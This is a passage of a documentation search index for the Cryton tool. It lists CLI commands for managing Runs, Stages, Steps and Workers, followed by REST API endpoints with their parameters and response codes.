<p>Arguments: - RUN_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the plan to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#kill_1","title":"kill","text":"<p>Kill Run saved in Cryton with RUN_ID.</p> <p>RUN_ID is ID of the Run you want to kill.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_5","title":"list","text":"<p>List existing Runs in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show 'less' like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#pause_1","title":"pause","text":"<p>Pause Run saved in Cryton with RUN_ID.</p> <p>RUN_ID is ID of the Run you want to pause.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#postpone","title":"postpone","text":"<p>Postpone Run saved in Cryton with RUN_ID by HOURS, MINUTES and SECONDS.</p> <p>RUN_ID is ID of the Run you want to postpone.</p> <p>HOURS is number of hours.</p> <p>MINUTES is number of minutes.</p> <p>SECONDS is number of seconds.</p> <p>Arguments: - RUN_ID - HOURS - MINUTES - SECONDS </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#report_1","title":"report","text":"<p>Create report for Run with RUN_ID saved in Cryton.</p> <p>RUN_ID is ID of the Run you want to create report for.</p> <p>Arguments: - RUN_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the report to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#reschedule","title":"reschedule","text":"<p>Reschedule Run saved in Cryton with RUN_ID to specified DATE and TIME.</p> <p>RUN_ID is ID of the Run you want to reschedule.</p> <p>DATE in format year-month-day (Y-m-d).</p> <p>TIME in format hours:minutes:seconds (H:M:S).</p> <p>Arguments: - RUN_ID - TO_DATE - TO_TIME </p> <p>Options: - utc_timezone (<code>--utc-timezone</code>) - Input time in UTC timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#resume_1","title":"resume","text":"<p>Resume Run saved in Cryton with RUN_ID.</p> <p>RUN_ID is ID of the Run you want to resume.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#schedule","title":"schedule","text":"<p>Schedule Run saved in Cryton with RUN_ID to specified DATE and TIME.</p> <p>RUN_ID is ID of the Run you want to schedule.</p> <p>DATE in format year-month-day (Y-m-d).</p> <p>TIME in format hours:minutes:seconds (H:M:S).</p> <p>Arguments: - RUN_ID - TO_DATE - TO_TIME </p> <p>Options: - utc_timezone (<code>--utc-timezone</code>) - Input time in UTC timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_4","title":"show","text":"<p>Show Run with RUN_ID saved in Cryton.</p> <p>RUN_ID is ID of the Run you want to see.</p> <p>Arguments: - RUN_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#unschedule","title":"unschedule","text":"<p>Unschedule Run saved in Cryton with RUN_ID.</p> <p>RUN_ID is ID of the Run you want to unschedule.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#validate-modules_1","title":"validate-modules","text":"<p>Validate modules for Run with RUN_ID saved in Cryton.</p> <p>RUN_ID is ID of the Run you want to validate modules for.</p> <p>Arguments: - RUN_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#stage-executions","title":"stage-executions","text":"<p>Manage Stage's executions from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_5","title":"delete","text":"<p>Delete Stage's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Stage's execution you want to delete.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#kill_2","title":"kill","text":"<p>Kill Stage's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Stage's execution you want to kill.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_6","title":"list","text":"<p>List existing Stage's executions in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Stage executions using Plan execution ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#re-execute","title":"re-execute","text":"<p>Re-execute Stage's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Stage's execution you want to kill.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - immediately (<code>--immediately</code>) - Re-execute StageExecution immediately without starting its Trigger. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#report_2","title":"report","text":"<p>Create report for Stage's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Stage's execution you want to create report for.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the report to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_5","title":"show","text":"<p>Show Stage's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Stage's execution you want to see.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#stages","title":"stages","text":"<p>Manage Stages from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_4","title":"create","text":"<p>Create Stage from FILE and add it to Plan with PLAN_ID.</p> <p>PLAN_ID is an ID of the Plan you want to add the Stage to.</p> <p>FILE is a path to the file containing the Stage template.</p> <p>Arguments: - PLAN_ID - FILE </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_6","title":"delete","text":"<p>Delete Stage with STAGE_ID saved in Cryton.</p> <p>STAGE_ID is ID of the Stage you want to delete.</p> <p>Arguments: - STAGE_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_7","title":"list","text":"<p>List existing Stages in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Stages using Plan ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_6","title":"show","text":"<p>Show Stage with STAGE_ID saved in Cryton.</p> <p>STAGE_ID is ID of the Stage you want to see.</p> <p>Arguments: - STAGE_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#start-trigger","title":"start-trigger","text":"<p>Start Stage's trigger with STAGE_ID under Plan execution with PLAN_EXECUTION_ID.</p> <p>STAGE_ID is an ID of the Stage you want to start.</p> <p>PLAN_EXECUTION_ID is an ID of the Plan execution you want to set as a parent of the Stage execution.</p> <p>Arguments: - STAGE_ID - PLAN_EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#validate_1","title":"validate","text":"<p>Validate (syntax check) your FILE with Stage.</p> <p>FILE is path/to/your/file that you want to validate.</p> <p>Arguments: - FILE </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - dynamic (<code>-D</code>, <code>--dynamic</code>) - If Stage will be used with a dynamic Plan. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#step-executions","title":"step-executions","text":"<p>Manage Step's executions from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_7","title":"delete","text":"<p>Delete Step's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Step's execution you want to delete.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#kill_3","title":"kill","text":"<p>Kill Step's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Step's execution you want to kill.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_8","title":"list","text":"<p>List existing Step's executions in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Step executions using Stage execution ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#re-execute_1","title":"re-execute","text":"<p>Re-execute Step's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Step's execution you want to kill.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#report_3","title":"report","text":"<p>Create report for Step's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Step's execution you want to create report for.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - file (<code>-f</code>, <code>--file</code>) - File to save the report to (default is /tmp). - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_7","title":"show","text":"<p>Show Step's execution with EXECUTION_ID saved in Cryton.</p> <p>EXECUTION_ID is ID of the Step's execution you want to see.</p> <p>Arguments: - EXECUTION_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#steps","title":"steps","text":"<p>Manage Steps from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_5","title":"create","text":"<p>Create Step from FILE and add it to Stage with STAGE_ID.</p> <p>STAGE_ID is an ID of the Stage you want to add the Stage to.</p> <p>FILE is a path to the file containing the Step template.</p> <p>Arguments: - STAGE_ID - FILE </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_8","title":"delete","text":"<p>Delete Step with STEP_ID saved in Cryton.</p> <p>STEP_ID is ID of the Step you want to delete.</p> <p>Arguments: - STEP_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#execute_2","title":"execute","text":"<p>Execute Step with STEP_ID under Stage execution with STAGE_EXECUTION_ID.</p> <p>STEP_ID is ID of the Step you want to execute.</p> <p>STAGE_EXECUTION_ID is an ID of the Stage execution you want to set as a parent of the Step execution.</p> <p>Arguments: - STEP_ID - STAGE_EXECUTION_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_9","title":"list","text":"<p>List existing Steps in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parent (<code>-p</code>, <code>--parent</code>) - Filter Steps using Stage ID. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_8","title":"show","text":"<p>Show Step with STEP_ID saved in Cryton.</p> <p>STEP_ID is ID of the Step you want to see.</p> <p>Arguments: - STEP_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#validate_2","title":"validate","text":"<p>Validate (syntax check) your FILE with Step.</p> <p>FILE is path/to/your/file that you want to validate.</p> <p>Arguments: - FILE </p> <p>Options: - inventory_files (<code>-i</code>, <code>--inventory-file</code>) - Inventory file used to fill the template. Can be used multiple times. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#workers","title":"workers","text":"<p>Manage Workers from here.</p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#create_6","title":"create","text":"<p>Create new Worker with NAME and save it into Cryton.</p> <p>NAME of your Worker (will be used to match your Worker). For example: \"MyCustomName\".</p> <p>Arguments: - NAME </p> <p>Options: - description (<code>-d</code>, <code>--description</code>) - Description of your Worker (wrap in \"\"). - force (<code>-f</code>, <code>--force</code>) - Ignore, if Worker with the same parameter 'name' exists. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#delete_9","title":"delete","text":"<p>Delete Worker with WORKER_ID saved in Cryton.</p> <p>WORKER_ID is ID of the Worker you want to delete.</p> <p>Arguments: - WORKER_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#health-check","title":"health-check","text":"<p>Check if Worker with WORKER_ID saved in Cryton is online.</p> <p>WORKER_ID is ID of the Worker you want to check.</p> <p>Arguments: - WORKER_ID </p> <p>Options: - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#list_10","title":"list","text":"<p>List existing Workers in Cryton.</p> <p>Options: - less (<code>--less</code>) - Show less like output. - offset (<code>-o</code>, <code>--offset</code>) - The initial index from which to return the results. - limit (<code>-l</code>, <code>--limit</code>) - Number of results to return per page. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - parameter_filters (<code>-f</code>, <code>--filter</code>) - Filter results using returned parameters (for example <code>id=1</code>, <code>name=test</code>, etc.). - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/cli/#show_9","title":"show","text":"<p>Show Worker with WORKER_ID saved in Cryton.</p> <p>WORKER_ID is ID of the Worker you want to see.</p> <p>Arguments: - WORKER_ID </p> <p>Options: - less (<code>--less</code>) - Show less like output. - localize (<code>--localize</code>) - Convert UTC datetime to local timezone. - help (<code>--help</code>) - Show this message and exit. </p>"},{"location":"interfaces/core-rest-api/","title":"Core (REST API)","text":"<p>This document provides documentation of the Cryton REST API endpoints. </p> <p>If you are interested in the Swagger interactive documentation, open the Cryton REST API or browse to the <code>/doc</code> endpoint. For example: http://127.0.0.1:8000/doc/.</p> <p></p> <p>If you are interested in the Redoc interactive documentation, browse to the <code>/redoc</code> endpoint on Cryton REST API. For example: http://127.0.0.1:8000/redoc/.</p> <p></p> <p>Uploaded byte files must be encoded using UTF-8.</p>"},{"location":"interfaces/core-rest-api/#api","title":"API","text":""},{"location":"interfaces/core-rest-api/#apiexecution_variables","title":"/api/execution_variables/","text":""},{"location":"interfaces/core-rest-api/#get","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description","title":"Description","text":"<p>List execution variables.</p>"},{"location":"interfaces/core-rest-api/#parameters","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string plan_execution_id query Plan execution ID used to filter the results. No integer"},{"location":"interfaces/core-rest-api/#responses","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_1","title":"Description","text":"<p>Load all uploaded files (there is no limit or naming convention) and create execution variables from them.</p>"},{"location":"interfaces/core-rest-api/#responses_1","title":"Responses","text":"Code Description 201 400 404 500"},{"location":"interfaces/core-rest-api/#security_1","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiexecution_variablesid","title":"/api/execution_variables/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_1","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_2","title":"Description","text":"<p>Get existing execution variable.</p>"},{"location":"interfaces/core-rest-api/#parameters_1","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this execution variable model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_2","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_2","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_3","title":"Description","text":"<p>Delete execution variable.</p>"},{"location":"interfaces/core-rest-api/#parameters_2","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this execution variable model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_3","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_3","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apilogs","title":"/api/logs/","text":""},{"location":"interfaces/core-rest-api/#get_2","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_4","title":"Description","text":"<p>Get Cryton Core app logs.</p>"},{"location":"interfaces/core-rest-api/#parameters_3","title":"Parameters","text":"Name Located in Description Required Schema filter query No string limit query No number offset query No number"},{"location":"interfaces/core-rest-api/#responses_4","title":"Responses","text":"Code Description 200 500"},{"location":"interfaces/core-rest-api/#security_4","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executions","title":"/api/plan_executions/","text":""},{"location":"interfaces/core-rest-api/#get_3","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_5","title":"Description","text":"<p>List Plan executions.</p>"},{"location":"interfaces/core-rest-api/#parameters_4","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string plan_model_id query Plan ID used to filter the results. No integer run_id query Run ID used to filter the results. No integer"},{"location":"interfaces/core-rest-api/#responses_5","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_5","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsid","title":"/api/plan_executions/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_4","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_6","title":"Description","text":"<p>Get existing Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_5","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_6","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_6","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_1","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_7","title":"Description","text":"<p>Delete Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_6","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_7","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_7","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsidkill","title":"/api/plan_executions/{id}/kill/","text":""},{"location":"interfaces/core-rest-api/#post_1","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_8","title":"Description","text":"<p>Kill Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_7","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_8","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_8","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsidpause","title":"/api/plan_executions/{id}/pause/","text":""},{"location":"interfaces/core-rest-api/#post_2","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_9","title":"Description","text":"<p>Pause Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_8","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_9","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_9","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsidreport","title":"/api/plan_executions/{id}/report/","text":""},{"location":"interfaces/core-rest-api/#get_5","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_10","title":"Description","text":"<p>Generate Plan execution report.</p>"},{"location":"interfaces/core-rest-api/#parameters_9","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_10","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_10","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsidunpause","title":"/api/plan_executions/{id}/unpause/","text":""},{"location":"interfaces/core-rest-api/#post_3","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_11","title":"Description","text":"<p>Resume Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_10","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_11","title":"Responses","text":"Code Description 200 400 404"},{"location":"interfaces/core-rest-api/#security_11","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplan_executionsidvalidate_modules","title":"/api/plan_executions/{id}/validate_modules/","text":""},{"location":"interfaces/core-rest-api/#post_4","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_12","title":"Description","text":"<p>Validate modules in Plan execution.</p>"},{"location":"interfaces/core-rest-api/#parameters_11","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan execution model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_12","title":"Responses","text":"Code Description 200 404 500"},{"location":"interfaces/core-rest-api/#security_12","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplans","title":"/api/plans/","text":""},{"location":"interfaces/core-rest-api/#get_6","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_13","title":"Description","text":"<p>List Plans.</p>"},{"location":"interfaces/core-rest-api/#parameters_12","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_13","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_13","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_5","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_14","title":"Description","text":"<p>Create new Plan. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_14","title":"Responses","text":"Code Description 201 400 404 500"},{"location":"interfaces/core-rest-api/#security_14","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplansid","title":"/api/plans/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_7","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_15","title":"Description","text":"<p>Get existing Plan.</p>"},{"location":"interfaces/core-rest-api/#parameters_13","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_15","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_15","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#delete_2","title":"DELETE","text":""},{"location":"interfaces/core-rest-api/#description_16","title":"Description","text":"<p>Delete Plan.</p>"},{"location":"interfaces/core-rest-api/#parameters_14","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_16","title":"Responses","text":"Code Description 204 404"},{"location":"interfaces/core-rest-api/#security_16","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplansidexecute","title":"/api/plans/{id}/execute/","text":""},{"location":"interfaces/core-rest-api/#post_6","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_17","title":"Description","text":"<p>Create new PlanExecution and execute it.</p>"},{"location":"interfaces/core-rest-api/#parameters_15","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_17","title":"Responses","text":"Code Description 200 400"},{"location":"interfaces/core-rest-api/#security_17","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplansidget_plan","title":"/api/plans/{id}/get_plan/","text":""},{"location":"interfaces/core-rest-api/#get_8","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_18","title":"Description","text":"<p>Get Plan's YAML.</p>"},{"location":"interfaces/core-rest-api/#parameters_16","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this plan model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_18","title":"Responses","text":"Code Description 200 404"},{"location":"interfaces/core-rest-api/#security_18","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiplansvalidate","title":"/api/plans/validate/","text":""},{"location":"interfaces/core-rest-api/#post_7","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_19","title":"Description","text":"<p>Validate Plan YAML. There is no limit or naming convention for inventory files.</p>"},{"location":"interfaces/core-rest-api/#responses_19","title":"Responses","text":"Code Description 200 400"},{"location":"interfaces/core-rest-api/#security_19","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apiruns","title":"/api/runs/","text":""},{"location":"interfaces/core-rest-api/#get_9","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_20","title":"Description","text":"<p>List Runs.</p>"},{"location":"interfaces/core-rest-api/#parameters_17","title":"Parameters","text":"Name Located in Description Required Schema any_returned_parameter query Filter the results using any returned parameter. No string limit query Number of results to return per page. No integer offset query The initial index from which to return the results. No integer order_by query The parameter used to sort the results. No string"},{"location":"interfaces/core-rest-api/#responses_20","title":"Responses","text":"Code Description 200"},{"location":"interfaces/core-rest-api/#security_20","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#post_8","title":"POST","text":""},{"location":"interfaces/core-rest-api/#description_21","title":"Description","text":"<p>Create new Run.</p>"},{"location":"interfaces/core-rest-api/#responses_21","title":"Responses","text":"Code Description 201 400 404"},{"location":"interfaces/core-rest-api/#security_21","title":"Security","text":"Security Schema Scopes cookieAuth basicAuth"},{"location":"interfaces/core-rest-api/#apirunsid","title":"/api/runs/{id}/","text":""},{"location":"interfaces/core-rest-api/#get_10","title":"GET","text":""},{"location":"interfaces/core-rest-api/#description_22","title":"Description","text":"<p>Get existing Run.</p>"},{"location":"interfaces/core-rest-api/#parameters_18","title":"Parameters","text":"Name Located in Description Required Schema id path A unique integer value identifying this run model. Yes integer"},{"location":"interfaces/core-rest-api/#responses_22","title":"Responses","text":"Code Description 